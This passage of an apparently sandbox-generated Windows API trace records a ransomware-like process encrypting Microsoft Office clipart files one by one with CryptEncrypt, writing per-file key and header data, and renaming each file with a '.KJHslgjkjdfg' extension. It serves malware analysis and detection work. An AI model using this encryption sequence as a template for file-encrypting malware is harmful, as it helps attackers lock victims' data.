0x2a0000 [0189.857] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.857] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.857] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.857] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.857] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.857] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.857] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.857] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.857] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.858] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.858] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.858] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.858] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1948, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1948, lpOverlapped=0x0) returned 1 [0189.859] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1950, dwBufLen=0x1950 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1950) returned 1 [0189.859] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.859] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1950, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1950, lpOverlapped=0x0) returned 1 [0189.859] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.859] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1a24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.859] SetEndOfFile (hFile=0x114) returned 1 [0189.862] GetProcessHeap () returned 0x2a0000 [0189.862] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.862] GetProcessHeap () returned 0x2a0000 [0189.862] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.862] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf.kjhslgjkjdfg")) returned 1 [0189.866] CloseHandle (hObject=0x114) returned 1 [0189.866] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31846100, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31846100, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x51ea, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00367_.WMF", cAlternateFileName="")) returned 1 [0189.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.867] GetProcessHeap () returned 0x2a0000 [0189.867] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.867] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.867] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.867] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0189.870] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.870] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.870] GetProcessHeap () returned 0x2a0000 [0189.870] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.870] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.870] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.870] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.870] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.870] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.871] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.871] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.871] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.871] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.871] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.871] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.871] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x51ea, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x51ea, lpOverlapped=0x0) returned 1 [0189.872] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x51f0, dwBufLen=0x51f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x51f0) returned 1 [0189.872] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.873] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x51f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x51f0, lpOverlapped=0x0) returned 1 [0189.873] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.873] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x52c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.873] SetEndOfFile (hFile=0x114) returned 1 [0189.876] GetProcessHeap () returned 0x2a0000 [0189.876] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.876] GetProcessHeap () returned 0x2a0000 [0189.876] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.876] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf.kjhslgjkjdfg")) returned 1 [0189.878] CloseHandle (hObject=0x114) returned 1 [0189.878] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3308, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00373_.WMF", cAlternateFileName="")) returned 1 [0189.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.879] GetProcessHeap () returned 0x2a0000 [0189.879] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.879] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.879] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.880] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.882] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.882] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.882] GetProcessHeap () returned 0x2a0000 [0189.882] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.882] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.882] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.882] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.882] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.882] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.883] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.883] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.883] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.883] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.883] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.883] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.883] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3308, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3308, lpOverlapped=0x0) returned 1 [0189.884] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3310, dwBufLen=0x3310 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3310) returned 1 [0189.884] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.884] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3310, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3310, lpOverlapped=0x0) returned 1 [0189.884] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.884] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x33e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.885] SetEndOfFile (hFile=0x114) returned 1 [0189.887] GetProcessHeap () returned 0x2a0000 [0189.887] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.887] GetProcessHeap () returned 0x2a0000 [0189.887] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.887] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf.kjhslgjkjdfg")) returned 1 [0189.889] CloseHandle (hObject=0x114) returned 1 [0189.889] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b58e00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32b58e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x27f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00382_.WMF", cAlternateFileName="")) returned 1 [0189.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.891] GetProcessHeap () returned 0x2a0000 [0189.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.891] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.891] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.891] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0189.893] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.893] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.893] GetProcessHeap () returned 0x2a0000 [0189.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.893] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.893] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.893] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.894] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.894] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.894] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.894] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.894] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.894] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.894] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.894] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.894] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x27f4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x27f4, lpOverlapped=0x0) returned 1 [0189.895] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2800, dwBufLen=0x2800 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2800) returned 1 [0189.896] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.896] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2800, lpOverlapped=0x0) returned 1 [0189.896] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.896] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x28d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.896] SetEndOfFile (hFile=0x114) returned 1 [0189.899] GetProcessHeap () returned 0x2a0000 [0189.899] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.899] GetProcessHeap () returned 0x2a0000 [0189.899] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.899] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf.kjhslgjkjdfg")) returned 1 [0189.901] CloseHandle (hObject=0x114) returned 1 [0189.901] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27894f00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27894f00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0xb7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00390_.WMF", cAlternateFileName="")) returned 1 [0189.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.902] GetProcessHeap () returned 0x2a0000 [0189.902] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.902] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.902] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.902] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.905] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.905] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.905] GetProcessHeap () returned 0x2a0000 [0189.905] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.905] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.905] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.905] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.905] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.905] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.905] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.905] SetFilePointerEx (in: hFile=0x114, 